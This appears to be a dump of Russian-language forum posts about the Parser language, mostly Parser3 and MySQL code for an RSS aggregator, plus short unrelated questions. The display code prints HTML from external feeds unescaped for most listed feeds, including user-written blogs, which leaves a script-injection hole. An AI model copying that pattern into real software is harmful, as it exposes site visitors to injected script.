dc:rights>	rights>\
dcterms:isReferencedBy	dcterms_isReferencedBy\
admin:errorReportsTo	admin_errorReportsTo\
<content:encoded>	<description>\
</content:encoded>	</description>\
trackback:ping	trackback_ping\
trackback:about	trackback_about\
dc:date>	pubDate>}]\
\
	$rss_text[^untaint{$rss.text}]\
\
#	Дочищаем текст:\
	$rss_text[^rss_text.replace[$rss_replacements]]\
\
#	Это - на случай особо извращённых интерпретаций RSS (с <rdf:Seq>):\
	\
	^if(^rss_text.match[rdf_Seq][]){\
\
		$rdf_replacements[^table::create{from	to\
</channel>\
<items>\
</items>\
</rss>	</channel></rss>}]\
\
		$rss_text[^rss_text.replace[$rdf_replacements]]\
	}\
\
	$xml[^xdoc::create{$rss_text}]\
#	Избавляемся от корневого тега RDF\
#	$xml[^xml.transform[/etc/classes/no_rdf.xsl]]\
	$items[^xml.select[/rss/channel/item]]\
#		<!-- ^taint[html][^rss_text.left(50000)] -->\
}{\
	$exception.handled(1)\
	$result[\
		<b>Не получилось загрузить RSS-поток!</b>\
		^if(def $rss_text){\
			<pre>^taint[html][^rss_text.left(1000)]</pre>\
			^rss_text.save[/etc/temp/^taint[file-spec][^feeduri.match[/][g]{_}].xml]\
		}{\
		<!-- No RSS feed' text available! -->}\
		<pre>^taint[html][$exception.comment]</pre>\
	\
	]\
	$rss_text[ ]\
	$error(1)\
	^log:write[Не получилось загрузить RSS-поток $feeduri]\
}\
\
$updatedcnt(0)\
\
^if(def $items){\
\
#	Нам нужно узнать версию RSS-потока, который мы получили.\
# 	Тонкость в том, что у RSS 2.0 есть тэг PubDate, а у RSS 0.91 нету.\
#	Поэтому для RSS 2 мы пользуемся тем, что есть, а для старых версий RSS\
#	пользуемся политикой \"дата, когда выкачали = дата создания\"\
	^dates:load[]\
	$rss_version[^xml.selectString[string(rss/@version)]]\
	^for[i](1;$items){\
		^if($rss_version eq \"2.0\"){\
			$date{^xml.selectString[string(/rss/channel/item[position() = $i]/pubDate)]}\
#			Вы думали, чехарда с датами закончилась? А нифига ;-)\
#			Дата может быть в таком формате - Tue, 30 Sep 2003 14:32:46 MSD\
#			или в таком - Mon, 29 Sep 2003 11:23:12 GMT. A есть ещё обозначение \"UTC\"...\
#			see also:	http://208.30.42.17/logistics/tzhelp.asp\
#						http://www.worldtimezone.com/wtz-names/wtz-msks.html\
#			Нам надо привести это время к нашему локальному\
			^if(def $date){\
				$date[^date::create[^dates:string2GMT[$date]]]\
			}{\
				$date[^date::create[^dates:GMT_datetime[]]]\
			}\
		}{\
#			Если мы имеем дело с RSS старой версии, берём текущую дату, приведённую к Гринвичу:\
			$date[^date::create[^dates:GMT_datetime[]]]\
		}\
		$title{^xml.selectString[string(/rss/channel/item[position() = $i]/title)]}\
		$link{^xml.selectString[string(/rss/channel/item[position() = $i]/link)]}\
		$description{^xml.selectString[string(/rss/channel/item[position() = $i]/description)]}\
\
		$countitems[^table::sql{SELECT\
			COUNT(*)\
		AS\
			cnt\
		FROM\
			cityblog_rssitems\
		WHERE\
			link = \"$link\"\
		}]\
\
		$counter[$countitems.cnt]\
		$counter(^counter.int(1))\
\
		$rep[^table::create{from	to\
'	\\'\
\\	\\\\}]\
\
	\
		^if($counter == 0){\
			^void:sql{INSERT INTO cityblog_rssitems (feed_id, title, link, description, pubdate)\
				VALUES ('^feeduri.replace[$rep]', '^title.replace[$rep]', '^link.replace[$rep]', '^description.replace[$rep]', '^date.sql-string[]')\
			}\
	\
			^updatedcnt.inc[]\
		}{\
#			Эта запись уже выкачивалась, апдейтить не надо.\
		}\
\
	}\
\
# 	Обновляем запись об этом RSS-фиде в базе:\
	^if(($updatedcnt >= 0) && ($error != 1)){\
	^void:sql{UPDATE cityblog_rsslist\
		SET\
			last_update = NOW()\
		WHERE\
			uri = \"$feeduri\"\
		}\
	}\
}\
\
Найдено новых записей: <b>${updatedcnt}</b> </p>\
\
# Обнуляем переменную:\
$rss_text[]\
\
##############################\
# Вывод кешированных RSS-элементов из базы\
@display[]\
\
^MAIN:dbconnect{\
	$rss_items[\
		^table::sql{SELECT\
			id,\
			feed_id,\
			title,\
			link,\
			description,\
			DATE_FORMAT(pubdate, \"%d/%m/%Y, %H:%i\") as date\
		FROM\
			cityblog_rssitems\
		ORDER BY\
			pubdate DESC\
		}[$.limit(20) $.offset(^if(def $form:skip){$form:skip}{0})]\
	]\
\
   $rss_sources[^hash::sql{select\
			uri,\
			name,\
			last_update,\
			is_enabled,\
			min_refresh_period,\
			hours_to_keep,\
			allow_untaint\
		FROM\
			cityblog_rsslist\
   }]\
}\
\
^if(def $rss_items){\
		^rss_items.menu{\
	\
			$link[^untaint[as-is]{$rss_items.link}]\
			$feed[^untaint[as-is]{$rss_items.feed_id}]\
			$allow_untaint[$rss_sources.$feed.allow_untaint]\
	\
			<h4>\
			^if(def ^untaint[as-is]{$rss_sources.$feed.uri}){\
				<a href=\"^untaint[as-is]{$rss_sources.$feed.uri}\">^untaint[as-is]{$rss_sources.$feed.name}</a>\
			}{\
				^untaint[as-is]{$rss_sources.$feed.name}\
			}\
				 -\
			<a href=\"$link\">^if(def $rss_items.title){^untaint[as-is]{$rss_items.title}}{Без заголовка}</a>\
			<nobr>($rss_items.date GMT)</nobr></h4>\
			^if($allow_untaint eq \"yes\"){\
				$desc[^untaint[as-is]{$rss_items.description}]\
			}{\
				$desc[^untaint[html]{$rss_items.description}]\
#				$desc[^desc.match[(^^|[^^=\"])(http://|ftp://|mailto:)([:a-z0-9~%{}._/?=&@,#-]+)(^^|[^^=\"])][gi]{${match.1}<a href=${match.2}${match.3} target=\"_new\" title=\"Ссылка будет открыта в новом окне\" class=smallest>${match.2}${match.3}</a>}]\
				^if(^desc.length[] >= 250){\
					$desc[^desc.left(250)&#133^; [<a href=\"$link\">Читать дальше&#133^;</a>]]\
				}\
			}\
\
			$cleanup[^table::create{from	to\
<br>	<br />\
<br /><br /><br /><br />	<br />\
<br /><br /><br />	<br />\
<br /><br />	<br />\
blockquote><br /><br /><br />	blockquote>\
blockquote><br /><br />	blockquote>\
blockquote><br />	blockquote>\
<br /></blockquote>	</blockquote>\
</blockquote><br />	</blockquote>\
</blockquote><br />	</blockquote>\
</blockquote><br />	</blockquote>\
</blockquote><br />	</blockquote>\
</blockquote><br />	</blockquote>\
</blockquote><br />	</blockquote>}]\
	\
			^if(def $desc){\
	\
				<blockquote>\
					^desc.replace[$cleanup]\
				</blockquote>\
\
			}{<blockquote><i>Эта запись - без текста</i></blockquote>}\
		}\
}[/code]\
\
На странице с френдлентой вызывается так:\
\
[code]	\
	^rss:display[]\
	\
	$skip(^form:skip.int[])\
	$skip(^eval($skip + 20))\
	\
	<p>[<a href=\"./?skip=${skip}\">Следующие 20 записей&#133^;</a>]</p>[/code]\
\
Рефреш вызывается так:\
\
[code]^rss:update_list[][/code]\
\
В коде упоминается класс dates, он неправильный, буду переписывать. Вот его код:\
\
[code]##############################\
# Класс для работы с датами\
@CLASS\
dates\
\
##############################\
# Получаем текущую дату по Гринвичу из нашей локальной:\
@load[]\
\
# Нам нужно узнать, на сколько сдвинуть текущую дату и время.\
# Сдвиг складывается из разницы по отношению к Гринвичу + поправки на летнее время\
\
$local[^date::now[]]\
\
# Летнее время:\
\
^if($MAIN:global_daylight eq \"yes\"){\
\
# Попадает ли текущая дата в промежуток, когда вводится летнее время?\
	$daylight_lbound[^date::create($local.year;$MAIN:global_daylight_m_start;$MAIN:global_daylight_d_start;0;0;0)]\
	$daylight_ubound[^date::create($local.year;$MAIN:global_daylight_m_end;$MAIN:global_daylight_d_end;0;0;0)]\
\
	^if(\
		($local.day >= $daylight_lbound.day) \
	&&\
		($local.month >= $daylight_lbound.month) \
	&& \
		($local.day <= $daylight_ubound.day) \
	&&\
		($local.month <= $daylight_ubound.month) \
	){\
#		Текущая дата - в том, диапазоне, в котором летнее время в силе:\
		$daylight_offset(1)\
	}{\
#		...или нет:\
		$daylight_offset(0)\
	}\
}\
\
# Из текущей даты и времени мы должны вычесть час летнего времени и разницу с Гринвичем:\
$GMTdate[^date::create($local - (($daylight_offset + $MAIN:global_timeoffset)/24))]\
\
##############################\
# Получаем текущую дату (системную):\
@local_datetime[]\
$result[^local.sql-string[]]\
\
\
##############################\
# Получаем текущую дату (приведённую к Гринвичу):\
@GMT_datetime[]\
$result[^GMTdate.sql-string[]]\
\
##############################\
# Приводим дату в виде строки (\"Mon, 29 Sep 2003 11:23:12 GMT\") к Гринвичу:\
@string2GMT[string]\
\
^string.match[([A-Za-z]{3}), ([0-9]+) ([A-Za-z]{3}) ([0-9]+) ([0-9]+):([0-9]+):([0-9]+) ([A-Za-z]{3,4})][g]{\
	$year($match.4)\
	$month[$match.3]\
\
	^if($month eq Jan){$month(1)}\
	^if($month eq Feb){$month(2)}\
	^if($month eq Mar){$month(3)}\
	^if($month eq Apr){$month(4)}\
	^if($month eq May){$month(5)}\
	^if($month eq Jun){$month(6)}\
	^if($month eq Jul){$month(7)}\
	^if($month eq Aug){$month(8)}\
	^if($month eq Sep){$month(9)}\
	^if($month eq Oct){$month(10)}\
	^if($month eq Nov){$month(11)}\
	^if($month eq Dec){$month(12)}\
\
	$day($match.2)\
	$hour($match.5)\
	$minute($match.6)\
	$second($match.7)\
	$timezonename[$match.8]\
}\
\
#	Табличка с названиями временных зон и поправками:\
#	Название 	Аббр.	Поправка\
#	Samoa Standard Time	SST	-11\
#	Hawaii-Aleutian Standard Time  	HST	-10\
#	Alaska Standard Time	AKST	-9\
#	Hawaii-Aleutian Daylight Time  	HDT	-9\
#	Alaska Daylight Time	AKDT	-8\
#	Pacific Standard Time	PST	-8\
#	Mountain Standard Time	MST	-7\
#	Pacific Daylight Time	PDT	-7\
#	Central Standard Time	CST	-6\
#	Mountain Daylight Time	MDT	-6\
#	Central Daylight Time	CDT	-5\
#	Eastern Standard Time	EST	-5\
#	Atlantic Standard Time	AST	-4\
#	Eastern Daylight Time	EDT	-4\
#	Atlantic Daylight Time	ADT	-3\
#	Greenwich Mean Time	GMT	0\
#	Western Europe Time	WET	0\
#	British Summer Time	BST	1\
#	Central Europe Time	CET	1\
#	Irish Summer Time	IST	1\
#	Western Europe Summer Time	WEST	1\
#	Central Europe Summer Time	CEST	2\
#	Eastern Europe Time	EET	2\
#	Eastern Europe Summer Time	EEST	3\
#	Moscow Time	MSK	3\
#	Moscow Summer Time	MSD	4\
#	Western Standard Time	WST	8\
#	Central Standard Time	CST	9.5\
#	Eastern Standard Time	EST	10\
\
^if(def $year && def $month && def $day){\
	^switch[$timezonename]{\
		^case[SST]{$tz_offset(-11)}\
		^case[HST]{$tz_offset(-10)}\
		^case[AKST]{$tz_offset(-9)}\
		^case[HDT]{$tz_offset(-9)}\
		^case[AKDT]{$tz_offset(-8)}\
		^case[PST]{$tz_offset(-8)}\
		^case[MST]{$tz_offset(-7)}\
		^case[PDT]{$tz_offset(-7)}\
		^case[CST]{$tz_offset(-6)}\
		^case[MDT]{$tz_offset(-6)}\
		^case[CDT]{$tz_offset(-5)}\
		^case[EST]{$tz_offset(-5)}\
		^case[AST]{$tz_offset(-4)}\
		^case[EDT]{$tz_offset(-4)}\
		^case[ADT]{$tz_offset(-3)}\
		^case[GMT]{$tz_offset(0)}\
		^case[WET]{$tz_offset(0)}\
		^case[BST]{$tz_offset(1)}\
		^case[CET]{$tz_offset(1)}\
		^case[IST]{$tz_offset(1)}\
		^case[WEST]{$tz_offset(1)}\
		^case[CEST]{$tz_offset(2)}\
		^case[EET]{$tz_offset(2)}\
		^case[EEST]{$tz_offset(3)}\
		^case[MSK]{$tz_offset(3)}\
		^case[MSD]{$tz_offset(4)}\
		^case[WST]{$tz_offset(8)}\
		^case[CST]{$tz_offset(9.5)}\
		^case[EST]{$tz_offset(10)}\
		^case[DEFAULT]{$tz_offset(0)}\
	}\
	$UnadjustedString[^date::create($year;$month;$day;$hour;$minute;$second)]\
	$GMTString[^date::create($UnadjustedString - ($tz_offset/24))]\
}{\
	$GMTString[^date::now[]]\
}\
\
$result[^GMTString.sql-string[]][/code]\
\
В auto.p вынесены следующие переменные:\
\
[code]$global_timeoffset(3)\
$global_timeoffset_string[+03:00]\
\
# Ваше локальное время сдвигается летом?\
$global_daylight[yes]\
\
# Это происходит с [день, месяц] по [день, месяц]:\
# (обычно с 29-Mar по 25-Oct, см. http://www.worldtimezone.com/daylight.htm)\
\
$global_daylight_m_start(3)\
$global_daylight_d_start(29)\
\
$global_daylight_m_end(10)\
$global_daylight_d_end(25)[/code]"
"26072","[code]#\
#\
# Структура таблицы `cityblog_rssitems`\
#\
# Creation: Окт 28 2003 г., 09:41\
# Last update: Янв 30 2004 г., 17:36\
# Last check: Янв 30 2004 г., 04:38\
#\
\
DROP TABLE IF EXISTS `cityblog_rssitems`;\
CREATE TABLE `cityblog_rssitems` (\
  `id` int(16) unsigned NOT NULL auto_increment,\
  `feed_id` varchar(255) NOT NULL default '',\
  `title` text,\
  `link` varchar(255) NOT NULL default '/',\
  `description` text NOT NULL,\
  `pubdate` datetime NOT NULL default '0000-00-00 00:00:00',\
  PRIMARY KEY  (`id`),\
  UNIQUE KEY `id` (`id`),\
  KEY `id_2` (`id`)\
) TYPE=MyISAM COMMENT='Items from RSS feeds' AUTO_INCREMENT=10896 ;\
\
#\
# Структура таблицы `cityblog_rsslist`\
#\
# Creation: Дек 03 2003 г., 15:36\
# Last update: Янв 30 2004 г., 17:37\
# Last check: Янв 30 2004 г., 04:38\
#\
\
DROP TABLE IF EXISTS `cityblog_rsslist`;\
CREATE TABLE `cityblog_rsslist` (\
  `uri` varchar(255) NOT NULL default '',\
  `name` varchar(255) default NULL,\
  `last_update` datetime NOT NULL default '0000-00-00 00:00:00',\
  `is_enabled` enum('yes','no') NOT NULL default 'no',\
  `min_refresh_period` tinyint(3) unsigned NOT NULL default '1',\
  `hours_to_keep` int(16) unsigned NOT NULL default '24000',\
  `allow_untaint` enum('yes','no') default 'no',\
  PRIMARY KEY  (`uri`),\
  UNIQUE KEY `uri` (`uri`),\
  KEY `uri_2` (`uri`)\
) TYPE=MyISAM COMMENT='RSS feeds to fetch';\
\
#\
# Дамп данных таблицы `cityblog_rsslist`\
#\
\
INSERT INTO `cityblog_rsslist` VALUES ('http://forum.gfk.ru/forum/rss.html', 'Forum.GfK.ru', '2002-01-21 16:29:31', 'no', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.parser.ru/_rss.html', 'Parser.ru Forum', '2004-01-30 17:03:16', 'yes', 1, 24000, 'no');\
INSERT INTO `cityblog_rsslist` VALUES ('http://register.spectator.ru/txt/export.xml', 'Spectator.ru', '2004-01-30 16:45:05', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://p.moreover.com/cgi-local/page?index_marketing+rss', 'Moreover.com - Marketing', '2002-01-21 16:29:31', 'no', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.theregister.co.uk/tonys/slashdot.rdf', 'The Register', '2004-01-30 17:24:03', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.joelonsoftware.com/rss.xml', 'Joel On Software', '2004-01-30 17:36:29', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://jeremy.zawodny.com/blog/rss2.xml', 'Jeremy Zawodny', '2004-01-30 16:54:16', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.compulenta.ru/rss.xml', 'Компьюлента', '2002-01-21 16:29:31', 'no', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://blogs.gotdotnet.com/raymondc/blogxbrowsing.asmx/GetRss?', 'Got .NET', '2004-01-09 17:23:58', 'no', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/users/avva/data/rss', 'Avva\\'s LJ', '2004-01-30 17:03:13', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/users/egoroff/data/rss', 'Egr\\'s LJ', '2004-01-30 17:36:58', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/ru_kitchen/data/rss', 'RU_KITCHEN\\'s LJ', '2004-01-30 17:36:39', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.dashes.com/links/index.rdf', 'Anil\\'s daily links', '2004-01-30 17:27:02', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.diveintomark.org/xml/blink.xml', 'Mark Pilgrim\\'s links', '2004-01-30 17:03:30', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://partners.userland.com/nytRss/business.xml', 'NY Times: Business', '2002-01-21 16:29:31', 'no', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.scripting.com/rss.xml', 'ScriptingNews', '2004-01-30 17:12:03', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://mena.typepad.com/dollarshort/index.rdf', 'Not a dollar short', '2004-01-30 17:36:54', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.kuro5hin.org/backend.rdf', 'Kuro5hin', '2004-01-30 17:36:28', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/msk_consumer/data/rss', 'MSK_CONSUMER', '2004-01-30 17:36:13', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/6ap/data/rss/', 'LJ Бар comunity', '2004-01-30 16:42:09', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/hse/data/rss', 'LJ HSE students comunity', '2004-01-30 17:03:24', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/otdam_darom/data/rss/', 'LJ Otdam_darom comunity', '2004-01-30 17:00:18', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/potrebitel/data/rss', 'LJ Potrebitel comunity', '2004-01-30 16:54:03', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/ru_anecdote/data/rss', 'LJ ru_anecdote comunity', '2004-01-30 17:03:21', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/avto_ru/data/rss', 'LJ avto_ru comunity', '2004-01-30 16:54:06', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/ru_spam/data/rss', 'LJ ru_spam comunity', '2004-01-30 17:36:44', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/ru_fitness/data/rss', 'LJ ru_fitness comunity', '2004-01-20 16:17:51', 'no', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/ru_market/data/rss', 'LJ ru_market comunity', '2004-01-30 16:42:14', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/ru_marketing/data/rss', 'LJ ru_marketing comunity', '2004-01-30 17:36:23', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/ru_mobile/data/rss', 'LJ ru_mobile comunity', '2004-01-30 17:36:19', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/ru_management/data/rss', 'LJ ru_management comunity', '2004-01-30 17:36:26', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/ru_money/data/rss', 'LJ ru_money comunity', '2004-01-30 17:36:07', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/yahoo_eu/data/rss', 'LJ Yahoo_eu comunity', '2004-01-30 16:42:04', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/remont/data/rss', 'LJ Remont comunity', '2004-01-30 16:42:17', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://playmobile.ru/news/rss', 'PlayMobile.ru', '2004-01-30 16:42:23', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://alex.ezhiki.ru/txt/export.xml', 'alex.ezhiki.ru', '2004-01-30 17:24:04', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://ilyabirman.ru/meanwhile/rss/', 'IlyaBirman.ru', '2004-01-30 16:45:02', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://simon.incutio.com/syndicate/rss1.0', 'Simon Willison\\'s weblog', '2004-01-30 17:24:10', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/pictography/data/rss', 'LJ Pictography', '2004-01-30 16:54:13', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/whitelight/data/rss', 'LJ Whitelight', '2004-01-30 17:36:50', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/everyday_people/data/rss', 'LJ everyday_people', '2004-01-30 16:42:20', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/color_theory/data/rss', 'LJ color_theory', '2004-01-30 17:36:37', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/users/versionke/data/rss', 'LJ VersionKe', '2004-01-30 17:00:11', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/users/pineapplemonade/data/rss', 'pineapplemonade', '2004-01-30 17:00:07', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://diveintomark.org/xml/rss.xml', 'Dive into Mark', '2004-01-30 16:54:08', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://bolk.exler.ru/txt/export.xml', 'BOLK\\'s register', '2004-01-30 17:36:20', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://kuking.net/xml/kuking.xml', 'Kuking.ru', '0000-00-00 00:00:00', 'no', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.cooking.ru/yandex/daymenu.xml', 'Меню дня', '0000-00-00 00:00:00', 'no', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://xmlhack.ru/service/rss/xmlhack.rss', 'XML hack', '2003-11-28 11:11:57', 'no', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.livejournal.com/community/found_objects/data/rss', 'Found Objects LJ', '2004-01-30 17:36:32', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.groklaw.net/backend/GrokLaw.rdf', 'GROKLAW', '2004-01-30 17:03:27', 'yes', 1, 24000, 'yes');\
INSERT INTO `cityblog_rsslist` VALUES ('http://www.daysleepersdesign.com/blog/index.xml', 'Бортовой Журнал', '2004-01-30 16:39:04', 'yes', 1, 24000, 'yes');\
[/code]\
\
allow_untaint enum('yes','no') обозначает, можно ли доверять HTML-коду, пришеджему в entry RSS'а. Если гарантировано, что HTML будет чистый, мы его унтайнтим, если нет - оставляем как &lt;html&gt;"
"26073","http://diveintomark.org/archives/2004/02/04/incompatible-rss\
\
Я это сам прочитал совсем недавно, как результат - буду всё переписывать (ведь есть же ещё и atom, который идёт на смену RSS...). Но как основа сойдёт.\
\
[b]UPDATE[/b] Только что наткнулся на ошибку \
\
[code]Entity: line 1: warning: Unsupported version '1.1'\
<?xml version=\"1.1\"?>\
                  ^[/code]\
\
от того, что один умник в своём RSS-потоке заменил версию XML. Придётся в таблице замен добавить замену 1.1 -> 1.0 ...\
\
"
"26074","Рассылка.\
Таблица 1 со списком подписчиков:\
email | category | ...\
a@a.a 6\
b@b.b 2\
c@c.c 3\
Таблица 2 с записями для рассылки:\
id | category | text | ...\
1 6 aaa\
2 6 bbb\
3 3 ccc\
Чтобы не крутить на каждом подписчике всю таблицу 2 целиком, решил сделать из нее хеш. И на подписчике уже крутить только часть таблицы с необходимой ему категорией.\
^tab1.menu{\
 ^tab2h.[$tab1.menu].foreach[k;v]{\
 $tab2h.$k.text\
 }\
}\
\
А назначение опции $.distinct[tables] я доконца не понимаю."
"26076","если хотите посмотреть что ЭТО делает - запустите _test.html, в нем есть вывод результата, получающегося после преобразования таблицы в хеш с использованием этого ключа.\
\
далее примерно так:\
[code]\
$subscriber[^table::sql{SELECT id, category FROM ...}]\
$subscribe_tbl[^table::sql{SELECT id, category, text FROM ...}]\
$subscribe[^subscribe_tbl.hash[category][$.distinct[tables]]]\
^subscriber.menu{\
  ^subscribe.[$subscriber.category].menu{\
    $subscribe.[$subscriber.category].text\
    ...\
  }\
}\
[/code]"
"26077","я так считаю, что отформатировать сообщение это дело 3 сек.\
прошу по возможности в сообщениях где есть код парсера добавлять (CODE).....(/CODE)"
"26078","и, где надо добавлять?"
"26080","$form:[num$list.id]"
"26081","докумет скажем wordовский или эхелевский, средствами парсера.\
Понятно что надо запустить внешнюю программу.\
Но например .bat файл следующего содержания\
copy doc.doc prn\
Распечатывает всякий бред.\
\
Заранее благодарю за помощь"
"26083","У меня есть переменная содержащая число,\
допустим так:\
$char(45).\
Каким образом можно поделить\
значение этой переменной, допустим,\
на 10 и получить переменную $res(4)\
и остаток от деления – $ost(5)\
\
Чтение доки мне никак не помогает...\
Заранее спасибо."
"26085","[code]\
$char(45)\
$res(^math:trunc(^eval($char/10)))\
$ost(^math:frac(^eval($char/10)))\
[/code]\
\
[code]^eval(математическое выражение)[/code]\
Оператор eval вычисляет математическое выражение.\
[code]^math:trunc(число)[/code] – возвращает целую часть числа\
[code]^math:frac(число)[/code] – возвращает дробную часть числа"
"26086","$char(45)\
$res(^math:trunc(^eval($char/10))) –\
то что нужно, а вот –\
$ost(^math:frac(^eval($char/10)))\
выдает значение 0,5 –\
а мне нужно 5"
"26087","В валидаторе мыла в auth.p\
$result(^if(def $email && ^email.match[^^\\w+([.-]?\\w+)+\\@\\w+([.-]?\\w+)*\\.[a-z]{2,4}^$][i]){1}{0})\
на\
$result(^if(def $email && ^email.match[^^\\w+([.-]?\\w+)+\\@\\w+([.-]?\\w+)*\\.[a-z]{2,6}^$][i]){1}{0})\
\
Причина: например, зона .museum существует... хотя, знаю, это --бред :)"
"26088","учебник по математике для второго класса - \
http://bolero.ru/product-1996097.html"
"26089","Я понимаю, что\
можно умножить эти несчастные 0,5\
на 10 или, например,\
циклом ^while воспользоваться,\
но думал как бы сразу получить..\
\
[b]P.S.[/b]С МАТЕМАТИКОЙ У МЕНЯ НИКОГДА ПРОБЛЕМ НЕ БЫЛО!"
"26090","1. При нажатии \"Добавить анкету\" ничего не происходит\
2. Правильно ли использовал функцию last_insert_id()\
3. Почему не удаляется предоставленная информация\
Листинг (извините за громоздкость):\
#@greeting[] \
Администрирование\
\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
 \
 <tr  bgcolor=\"#FFFF99\">\
 #  <td width=\"10%\" align=\"left\" bgcolor=\"#A2D0F2\">  \
  #     @body_main[] \
   #    <b><h1>All list of girl! </h1></b>\
  # </td>\
   \
# ЛЕВАЯ СТОРОНА\
\
   <td width=\"45%\" align=\"left\" bgcolor=\"#A2D0F2\">  \
       <b><h1>Предоставленная информация</h1></b>\
   \
^connect[$connect_string]{ \
   $news[^table::sql{select* \
         \
   from \
      unchecked_girls  \
   order by rand() limit 1\
  \
   }] \
   ^if($news){ \
      ^news.menu{ \
	^if($news.photo_url ne none){\
	Foto:<img src=\"/unchecked_photo/${news.photo_url}\" VSPACE=10 HSPACE=10ALIGN=left border=0 height=300>}\
	ID:$news.id\
        First Name:  $news.first_name<br> \
        Last Name:  $news.last_name<br>\
	Date of bith:$news.date<br>\
	Zodiac:$news.zodiac<br>\
	Passport:$news.passport<br>\
	Height (cm):$news.height<br>\
	Weight (cm): $news.weight<br>\
	Hair color:$news.hair<br>\
	Eyes color:$news.eyes<br>\
	Languages:$news.languages<br>\
	Marital status:$news.marital_status<br>\
	Children:$news.children<br>\
	Education:$news.education<br>\
	Major:$news.major<br>\
	Smoker:$news.smoker<br>\
	Drinker:$news.drinker<br>\
	Religion:$news.religion<br>\
	About me:$news.about_me<br>\
	Looking for:$news.looking_for<br>\
	Address:$news.address<br>\
	Zip/Postal Code:$news.zip<br>\
	Street, house, apartment:$news.street_house_apartment<br>\
	Region (oblast):$news.region<br>\
	City:$news.city<br>\
	Country:$news.country<br>\
	Home Phone:$news.home_phone<br>\
	Cell Phone:$news.cell_phone<br>\
	E-mail:$news.e_mail<br>\
	<br> \
      }[<br>] \
   }{ \
      Нет анкет...\
   } \
} \
\
\
\
\
\
   </td>\
\
\
################\
#ПРАВАЯ СТОРОНА#\
################\
\
\
<td width=\"45%\" align=\"left\" bgcolor=\"#A2D0F2\">\
<form method=\"POST\" enctype=\"multipart/form-data\">\
<br>\
First Name:<input type=\"text\" name=\"first_name\" size=\"10\" maxlength=\"15\" value=\"$news.first_name\"><br>\
